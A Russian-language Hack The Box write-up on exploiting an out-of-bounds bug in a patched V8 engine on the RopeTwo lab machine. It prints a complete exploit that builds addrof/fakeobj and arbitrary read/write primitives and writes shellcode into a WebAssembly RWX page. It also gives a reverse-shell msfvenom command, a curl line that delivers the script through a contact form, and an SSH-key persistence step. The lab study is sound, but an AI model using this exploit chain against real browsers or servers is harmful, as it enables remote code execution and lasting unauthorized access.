Речь, конечно же, пойдет не о цилиндрах и клапанах. В этой статье мы поговорим о Google V8 Engine — движке JS, который стоит в Chromium и Android. Вернее, мы будем ломать его на самой сложной в рейтинге сообщества Hack The Box тачке RopeTwo. Ты узнаешь, какие типы данных есть в движке, как можно ими манипулировать, чтобы загрузить в память свой эксплоит, научишься использовать механизмы отладки V8, узнаешь, что такое WebAssembly и как проникнуть благодаря этому в шелл RopeTwo.
Начинаем, как всегда, со сканирования портов. Очевидно, что на машине такого уровня необходимо пройтись по всем портам (TCP + UDP 1–65 535
). Для этого удобно использовать masscan
— быстрый сканер портов:
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.196 --rate=5000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196
Видим, что открыто всего пять портов TCP. Просканируем их с пристрастием хорошо всем известным сканером Nmap, чтобы узнать подробности.
nmap -n -v -Pn -sV -sC -p8060,22,8000,9094,5000, 10.10.10.196
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
| 2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
| 256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_ 256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)
5000/tcp open http nginx|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in xC2xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.7.3
|_http-title: Home
8060/tcp open http nginx 1.14.2| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Видим SSH, три веб‑сервера и неизвестный порт. Идем смотреть, что нам покажет браузер.
На 5000-м портe нас предсказуемо ждет GitLab, мы это видели в отчете Nmap.
На 8000-м порте — веб‑сервер на Python Werkzeug (WSGI) показывает нам простенький сайт по разработке V8 — движка JavaScript с открытыми исходниками, который разрабатывают в Google для использования в браузере Chrome и других проектах. Подробнее о нем можно почитать на официальном сайте.
Прокрутив страницу, видим ссылку http://gitlab.rope2.htb:5000/root/v8, которая ведет на исходный код.
На 8060-м порте мы видим 404 Not Found
. Порт 9094 на запросы отвечать не хочет.
По традиции добавим найденный домен в /etc/hosts
:
10.10.10.196 rope2.htb gitlab.rope2.htb
Раз нам предлагают посмотреть исходные коды, грех не воспользоваться такой возможностью.
Мы видим исходные коды V8 и отдельную ветку, созданную автором ВМ, которая содержит один коммит с небольшими изменениями. Очевидно, что эти изменения должны нам помочь. Изменены всего четыре файла, посмотрим на них внимательнее.
В файле заголовков добавлены две функции для работы с массивами: ArrayGetLastElement
и ArraySetLastElement
. CPP — это макрос, который добавляет записи этих функций в массив метаданных.
Подробнее об этом можно прочесть в документации, в разделе Builtins.
Инсталлируем прототипы GetLastElement
и SetLastElement
в качестве встроенных функций.
Определяем вызовы функций.
Вот мы и добрались до самого интересного — исходного кода самих функций. Функция GetLastElement
конвертирует массив в FixedDoubleArray
и возвращает его последний элемент — array[length]
. Функция SetLastElement
записывает переданное ей значение в последний элемент array[length]
с типом float
. Попробуй, не читая дальше, догадаться, в чем тут подвох.
Поскольку у меня не было глубоких знаний движка V8, пришлось привлекать на помощь интернет. По ключевым выражениям из приведенных выше исходников я довольно быстро нашел отличный райтап Фараза Абрара Exploiting v8: *CTF 2019 oob-v8, коммит с изменениями в котором как две капли воды похож на наш.
Я уже предвкушал легкую победу, но не тут‑то было. Не буду подробно расписывать весь процесс, так как он детально изложен в райтапе, только кратко затрону основные моменты и остановлюсь подробнее на ключевых отличиях.
Итак, основное отличие в коммитах только в том, что в райтапе за чтение и запись элементов в массив отвечает лишь одна функция, которая выполняет то или иное действие в зависимости от количества переданных ей переменных.
Уязвимость же в них одна и та же. Надеюсь, ты уже догадался, какая? Поскольку адресация массива начинается с 0, то array[length]
позволяет нам читать и писать один элемент вне границ массива. Осталось понять, как мы можем это использовать.
Для начала скачиваем diff-файл.
Назовем файл v8.diff
, в конце добавим дополнительный перенос строки, чтобы git apply
не ругался.
Далее выполняем следующие команды (стенд я развернул на Ubuntu 19.04):
artex@ubuntu:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
artex@ubuntu:~/tools$ echo "export PATH=/home/artex/depot_tools:$PATH" >> ~/.bashrc
artex@ubuntu:~/tools$ source ~/.bashrc
artex@ubuntu:~$ fetch v8
artex@ubuntu:~$ cd v8
artex@ubuntu:~/v8$ ./build/install-build-deps.sh
artex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b
artex@ubuntu:~/v8$ gclient sync
artex@ubuntu:~/v8$ git apply --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debug
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.debug # Debug version
Внимание: компиляция каждого релиза может выполняться несколько часов!
Первое, что нам необходимо, — добиться утечки адреса массива. Для этого напишем скрипт, основанный на райтапе Фараза. Смысл в том, чтобы изменить указатель obj_array_map
массива obj_array
на float_array_map
массива float_array
, так как структура Map
у этих объектов отличается.
Очень важный момент, на котором основана эксплуатация, — в то время как запрос нулевого индекса float_array
возвращает значение элемента массива, нулевой индекс obj_array
возвращает указатель на объект (который потом преобразуется в значение). И если мы подменим карту (Map) obj_array
картой float_array
и обратимся к нулевому индексу, мы получим не значение элемента массива, а указатель объекта в виде float
! А благодаря найденной уязвимости заменить карту труда не составляет, так как она находится за элементами массива в структуре JSArray.
var buf = new ArrayBuffer(8);var f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf);function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);}function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];}var obj = {"A":1};var obj_arr = [obj];var float_arr = [1.1, 1.2, 1.3, 1.4];var obj_arr_map = obj_arr.GetLastElement();var float_arr_map = float_arr.GetLastElement();function addrof(in_obj) { obj_arr[0] = in_obj; obj_arr.SetLastElement(float_arr_map); let addr = obj_arr[0]; obj_arr.SetLastElement(obj_arr_map); return ftoi(addr); }var arr = [5.5, 5.5, 5.5, 5.5];console.log(addrof(arr).toString(16));console.log(%DebugPrint(arr));
Пробуем запустить наш скрипт и... получаем SEGV_ACCERR
:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --shell --allow-natives-syntax /mnt/share/v8/leak.js
Received signal 11 SEGV_ACCERR 34b4080406f8
==== C stack trace ===============================
[0x5555562d3f74]
[0x7ffff7faaf40]
[0x5555558b40ff]
[0x5555561cfa18]
[end of stack trace]
Segmentation fault (core dumped)
Ключ --allow-natives-syntax
позволяет выполнять %DebugPrint()
— функцию, которая выводит отладочную информацию об объектах в V8.
Тут мне стало интересно, что получится, если я заменю diff с HTB oob.diff. Если хочешь повторить мой эксперимент, создай клон ВМ и выполни команды
artex@ubuntu:~/v8$ git apply -R --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ git apply ../oob.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
Но перед этим необходимо внести следующие правки в oob.diff, так как структура файлов и их содержимое в новой версии немного поменялись.
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index b027d36..ef1002f 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -1668,6 +1668,8 @@ void Genesis::
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -319,6 +319,7 @@ namespace internal { TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) /* ES6 #sec-array.prototype.push */ CPP(ArrayPush) + CPP(ArrayOob) TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) /* ES6 #sec-array.prototype.shift */ CPP(ArrayShift)
Также в diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
нужно исправить length()->Number()
на length().Number()
:
+ uint32_t length = static_cast<uint32_t>(array->length().Number());
Как и следовало ожидать, поменяв в скрипте названия функций на oob
и запустив его, я получил тот же результат! Вывод один — произошли изменения в самом движке V8.
Тут надо упомянуть, что в OOB использовалась версия V8 version 7.5.0
, а в нашем случае — V8 version 8.5.0
. Поэтому просто взять эксплоит, запустить и получить вожделенный шелл не получится.
Пришлось перечитать массу информации, прежде чем пришло понимание: разгадка кроется в компрессии указателей, которая появилась в новой версии V8.
Что это — описано чуть ниже. Сейчас же достаточно понять, что в новой версии элементы массива float_array
64-битные, а obj_array
— только 32-битные. Поэтому, чтобы размерность массивов совпадала, нужно добавить еще один элемент в массив obj_array
.
Итак, исправим var obj_arr = [obj];
на var obj_arr = [obj, obj];
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
41b08002120000000x193108086721 <Array map = 0x193108241909>
Segmentation fault больше нет, но адреса не совпадают. Догадываешься почему? Добавив еще один элемент в массив, мы изменили его длину, и функция SetLastElement
записывает значение не туда, куда нам требуется (а требуется, как ты помнишь, заменить указатель на объект Map, который расположен в памяти сразу после самих элементов массива).
К счастью, мы можем легко это исправить, добавив строчку obj_arr.length = 1;
.
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
80403850808671d0x0c2b0808671d <JSArray[4]>
5.5,5.5,5.5,5.5
Бинго! Если посмотреть внимательно, то младшие 32 бита совпадают! А старшие не совпадают, как уже был сказано выше, из‑за компрессии указателей.
Не буду описывать, что такое компрессия указателей, Фараз подробно написал об этом в другой статье.
Для наглядности и лучшего понимания я схематично изобразил, как представлен в памяти массив объектов и массив чисел с плавающей точкой (float).
Если вкратце, этот механизм позволяет повысить производительность движка V8. Старшие 32 бита кучи (heap) всегда оставались одинаковыми при каждом запуске движка. Поэтому разработчики решили, что нет смысла оперировать 64-битными указателями, поскольку это лишняя трата ресурсов, и ввели понятие isolate root — старшие 32 бита адреса, которые всегда одинаковы и хранятся в регистре R13 (его обозвали root register). Поэтому, чтобы получить правильный 64-битный адрес, нам нужно было бы запросить старшие 32 бита в R13. Но это делать необязательно.
Как же нам выйти за пределы 32-битного пространства кучи, спросишь ты? Есть способ, который заключается в создании объекта ArrayBuffer и перезаписи его указателя backing_store
. Этот указатель аллоцирует функция PartitionAlloc
, которая работает с адресами вне кучи. Поэтому, используя объект DataView
для записи в память с перезаписанным backing_store
, мы можем получить примитив произвольного чтения и записи!
Окей, у нас есть функция addrof
, и, если мы инвертируем ее логику (поменяем местами массив объектов и массив float
), мы получим функцию fakeobj
, которая поможет нам читать из произвольных участков памяти и писать в них:
function fakeobj(addr) { float_arr[0] = itof(addr); float_arr.SetLastElement(obj_arr_map); let fake = float_arr[0]; float_arr.SetLastElement(float_arr_map); return fake;}var a = [1.1, 1.2, 1.3, 1.4];var float_arr = [1.1, 1.2, 1.3, 1.4];var float_arr_map = float_arr.GetLastElement();var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];console.log("0x"+addrof(crafted_arr).toString(16));var fake = fakeobj(addrof(crafted_arr)-0x20n);
Добавим код листинга к предыдущему и посмотрим, что получилось.
Запустим скрипт с помощью отладчика.
artex@ubuntu:~/v8/out.gn/x64.release# gdb d8
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/fake.js
-
0x804038508086911
V8 version 8.5.0 (candidate)d8> %DebugPrint(crafted_arr);
0x18c108086911 <JSArray[4]>
[4.73859563718219e-270, 1.2, 1.3, 1.4]
-
pwndbg> x/10gx 0x18c108086911-0x28-1 (игнорируем один бит из-за тегирования)
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909 <-- нулевой элемент с float_arr_map
0x18c1080868f8: 0x3ff3333333333333 0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
Тегирование указателей — это механизм в V8, который нужен для различения типов double, SMI (small integer) и pointer. Из‑за выравнивания указатели обычно указывают на участки памяти, кратные 4 и 8. А это значит, что последние 2–3 бита всегда равны нулю. V8 использует это свойство, «включая» последний бит для обозначения указателя. Поэтому для получения исходного адреса нам нужно вычесть из тегированного адреса единицу.
Пробуем записать второй элемент (указатель на elements) и прочитать его:
crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);"0x"+ftoi(fake[0]).toString(16);
Но не тут‑то было, опять получаем Segmentation fault.
Тут я надолго завис с дебаггером, пока не вспомнил о новом размере указателей. Ведь размерность элементов массива float
— 64 бита, поэтому при замене карты массива на месте первого элемента float
оказывается второй элемент массива obj
, в котором размерность элементов — 32 бита. Следовательно, записав адрес в первый индекс массива float, мы получим ссылку на elements массива obj
.
Достаточно поменять crafted_arr[2]
на crafted_arr[1]
, и все начнет работать как положено. А чтобы прочитать желаемое значение (нулевого элемента fake
), нужно соответственно поменять и смещение elements с 0x10
на 0x08
(так как указатель теперь 32-битный). Пробуем.
d8> crafted_arr[1] = itof(BigInt(0x18c1080868f0)-0x8n+1n);
1.3447153912017e-310-
pwndbg> x/10gx 0x18c108086911-0x28-1
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9 0x3ff4cccccccccccd <-- записали адрес для чтения
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002d8> "0x"+ftoi(fake[0]).toString(16);
"0x80406e908241909" <-- и успешно прочитали значение, на которое он указывает
Объясню подробнее, как это работает. Создадим массив float и посмотрим на отладочную информацию. Запускать необходимо в дебаг‑релизе, чтобы увидеть подробный вывод %DebugPrint()
об адресах.
pwndbg> file d8
Reading symbols from d8...pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 --shell --allow-natives-syntax[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
var a = [1.1, 1.2, 1.3, 1.4];[New Thread 0x7ffff3076700 (LWP 2342)]
V8 version 8.5.0 (candidate)d8> undefined
d8> %DebugPrint(a);
DebugPrint: 0x274a080c5e51: [JSArray]
- map: 0x274a08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x274a0824923d <JSArray[0]>
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x274a080406e9 <FixedArray[0]> {
#length: 0x274a081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> {
0: 1.1
1: 1.2
2: 1.3
3: 1.4
}
...
Видим, что смещение elements от начала структуры JSArray равно 0x28:
0x274a080c5e51-0x274a080c5e29 == 0x28
Посмотрим на элементы массива, которые находятся в памяти перед структурой JSArray:
pwndbg> x/10gx 0x274a080c5e51-1-0x28 (игнорируем один бит из-за тегирования)
0x274a080c5e28: 0x0000000808040a3d 0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333 0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666 0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29 0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc 0x29286e6f6974636e
Нулевой элемент массива расположен по адресу
index 0 == 0x274a080c5e30 == elements + 0x08
Предположим, мы поместим fake_object
по адресу 0x274a080c5e30
.
Далее если мы заменим в fake_object
карту float_arr_map
obj_arr_map
(при этом мы затираем поле properties
, но это некритично), то первый индекс массива crafted_arr
будет содержать указатель на элементы fake_object
, так как размерность указателей — 32 бита, а элементов массива Float — 64 бита. Поэтому, обратившись к fake_object[0]
, мы прочитаем значение по адресу, который запишем в первый индекс crafted_arr
.
Схематично это можно изобразить так.
Что ж, теперь с помощью вспомогательных функций, которые я не буду подробно описывать (в конце раздела будет листинг с комментариями), мы можем писать и читать произвольные адреса!
Осталось найти область памяти, которая бы позволяла еще и выполнить в ней наш код (rwx). И такая область есть, с ней работает модуль WebAssembly.
WebAssembly (сокращенно wasm) — безопасный и эффективный низкоуровневый бинарный формат для веба. Стековая виртуальная машина, исполняющая инструкции бинарного формата wasm, может быть запущена как в среде браузера, так и в серверной среде. Код на wasm — переносимое абстрактное синтаксическое дерево, что обеспечивает как более быстрый анализ, так и более эффективное выполнение в сравнении с JavaScript.
Собрав эксплоит с учетом всех описанных изменений, я вновь получил Segmentation fault.
Область rwx в текущих реализациях движка всегда находится на одинаковом смещении от объекта WasmInstanceObject
. В версии 7.5.0 оно равнялось 0x87. Будем выяснять, каково оно в 8.5.0. Для этого создадим простой скрипт wasm.js с объектом wasmInstance и запустим его под отладчиком:
var code_bytes = new Uint8Array([ 0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01, 0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00, 0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E, 0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);const wasmModule = new WebAssembly.Module(code_bytes.buffer);const wasmInstance = new WebAssembly.Instance(wasmModule, {});const { addTwo } = wasmInstance.exports;console.log(addTwo(5, 6));%DebugPrint(wasmInstance);
artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
--skip--
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/wasm.js
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".[New Thread 0x7ffff3076700 (LWP 5461)]
11
0x2f11082503dcDebugPrint: 0x2f1108250375: [WasmInstanceObject] in OldSpace
--skip--
Получили адрес WasmInstanceObject
: 0x2f1108250375
. Теперь найдем в списке процессов наш скрипт и его PID (ps aux | grep wasm.js
) и поищем в его карте памяти области rwx:
artex@ubuntu:/home/artex# cat /proc/5457/maps | grep -i rwx
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0
Ура, есть такая! Мы получили адрес rwx: 0xb444a6ea000
. Осталось найти адрес указателя на эту область, для этого в pwndbg воспользуемся следующей командой:
pwndbg> search -t pointer 0xb444a6ea000
0x2f11082503dc 0xb444a6ea000
Указатель расположен по адресу 0x2f11082503dc
. Осталось рассчитать смещение:
python -c 'print(hex(0x2f11082503dc - (0x2f1108250375 - 0x1)))'
0x68
Заменим его в скрипте. Но есть еще один указатель, смещение которого поменялось, это backing_store
.
Чтобы его найти, опять запустим дебаг‑релиз V8 под отладчиком:
artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
-
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 --shell --allow-natives-syntax-
d8> var buf = new ArrayBuffer(0x100);
undefinedd8> %DebugPrint(buf);
DebugPrint: 0x329e080c5e2d: [JSArrayBuffer]
- map: 0x329e08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x329e082478c1 <Object map = 0x329e082811b1>
- elements: 0x329e080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5555556f2e80
--skip--
Видим значение backing_store: 0x5555556f2e80
. Вычислим смещение (я выделил его красным), не забываем о little endian.
Итак, смещение равно 0x14.
Похоже, на этом все, можно пробовать! Готовим наш тестовый пейлоад с помощью утилиты msfvenom
. Все, что он делает, — выводит строку «PWNED!».
msfvenom -p linux/x64/exec -f dword CMD='bash -c "echo PWNED!"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005
А вот и финальный код эксплоита с комментариями:
// Вспомогательные функции конвертации между float и Integervar buf = new ArrayBuffer(8); // 8 byte array buffervar f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf);function ftoi(val) { f64_buf[0]=val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);}function itof(val) { // typeof(val) = BigInt u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];}// Создаем addrof-примитивvar obj = {"A":1};var obj_arr = [obj, obj]; // Массив из двух элементов (чтобы получить размерность 64 бита)obj_arr.length = 1; // Указываем принудительно размер массива = 1var float_arr = [1.1, 1.2];// Из-за переполнения obj_arr[length] и float_arr_map[length] считываем указатель на Mapvar obj_arr_map = obj_arr.GetLastElement();var float_arr_map = float_arr.GetLastElement();function addrof(in_obj) { // Помещаем объект, адрес которого нам нужен, в index 0 obj_arr[0] = in_obj; // Заменяем карту массива obj картой массива float obj_arr.SetLastElement(float_arr_map); // Получаем адрес, обращаясь к index 0 let addr = obj_arr[0]; // Заменяем карту обратно на obj obj_arr.SetLastElement(obj_arr_map); // Возвращаем адрес в формате BigInt return ftoi(addr);}function fakeobj(addr) { // Конвертируем адрес во float и помещаем его в нулевой элемент массива float float_arr[0] = itof(addr); // Меняем карту float на карту массива obj float_arr.SetLastElement(obj_arr_map); // Получаем объект "fake", на который указывает адрес let fake = float_arr[0]; // Меняем карту обратно на float float_arr.SetLastElement(float_arr_map); // Возвращаем полученный объект return fake;}// Этот объект мы будем использовать, чтобы читать из произвольных адресов памяти и писать в нихvar arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));function arb_read(addr) { // Мы должны использовать тегированные указатели для чтения, поэтому тегируем адрес if (addr % 2n == 0) addr += 1n; // Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20 // Изменяем указатель elements arb_rw_arr на read_addr-0x08 // По адресу первого элемента массива float находится 2-й индекс obj_map, // указывающий на элементы объекта fake arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); // Обращаясь к нулевому индексу массива, читаем значение, расположенное по адресу addr, // и возвращаем его в формате float return ftoi(fake[0]);}function arb_write(addr, val) { // Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20 // Изменяем указатель на элементы arb_rw_arr на write_addr-0x08 // По адресу первого элемента массива float находится 2-й индекс obj_map, // указывающий на элементы объекта fake arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); // // Записываем значение в нулевой элемент в формате float, fake[0] = itof(BigInt(val));}// Произвольный код, скомпилированный в WebAssembly (нужен для создания wasm_instance)var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var exploit = wasm_instance.exports.main;// Получаем адрес wasm_instancevar wasm_instance_addr = addrof(wasm_instance);console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Постоянное смещение страницы rwx = 0x68function copy_shellcode(addr, shellcode) { let buf = new ArrayBuffer(0x100); let dataview = new DataView(buf); let buf_addr = addrof(buf); // Получаем адрес ArrayBuffer let backing_store_addr = buf_addr + 0x14n; // Постоянное смещение backing_store=0x14 arb_write(backing_store_addr, addr); // Изменяем адрес backing_store_addr на addr // Пишем шелл по адресу backing_store_addr for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); }}console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));// msfvenom -p linux/x64/exec -f dword CMD='твой_шелл_код'var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);// Пишем реверс-шелл по адресу rwx_pagecopy_shellcode(rwx_page_addr, shellcode);// Вызываем wasm_instance c нашим реверс-шелломexploit();
Запускаем наш тестовый эксплоит:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 /mnt/share/v8/test.js
[+] Controlled float array: 0x8040385080882ed
[+] Wasm addr: 0x8040385082110b1
[+] RWX Wasm page addr: 0x29db47484000
PWNED!
Работает!
Остался последний шаг — разобраться, как его запустить на удаленной машине.
Единственный интерактивный элемент на сайте — это форма обратной связи по адресу http://rope2.htb:8000/contact. Так как V8 — это движок JS, очевидно, что надо как‑то скормить ему наш JavaScript. Запускаем сервер HTTP: python -m http.server 8070
— и вводим во все поля формы
<script src="[http://10.10.xx.xx:8070/v8.js](http://10.10.16.176:8082/artman.js)"></script>
И получаем запрос от сервера! После недолгих экспериментов я выяснил, что запуск скрипта триггерит поле Message.
Теперь дело за малым. Генерируем боевой пейлоад с реверс‑шеллом и вставляем его в наш скрипт.
msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'
Кладем скрипт в папку, из которой запущен наш веб‑сервер, запускаем netcat (nc -lnvp 7090
) и отправляем форму с запросом скрипта в поле Message.
Наконец‑то долгожданный шелл!
Чтобы автоматизировать процесс, я написал пару строк на bash — получившийся файл нужно положить в ту же папку, где лежит скрипт.
python -m http.server 8070 & curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact & nc -lnvp 7090
Правда, сессия живет не больше минуты — видимо, на сервере срабатывает тайм‑аут. Чтобы сделать себе стабильный шелл, нужно добавить пользователю chromeuser свой ключ SSH:
mkdir /home/chromeuser/.ssh echo 'твой_ssh_ключ'>>/home/chromeuser/.ssh/authorized_keys
Надеюсь, было интересно и ты узнал для себя много нового!
Читайте также
Последние новости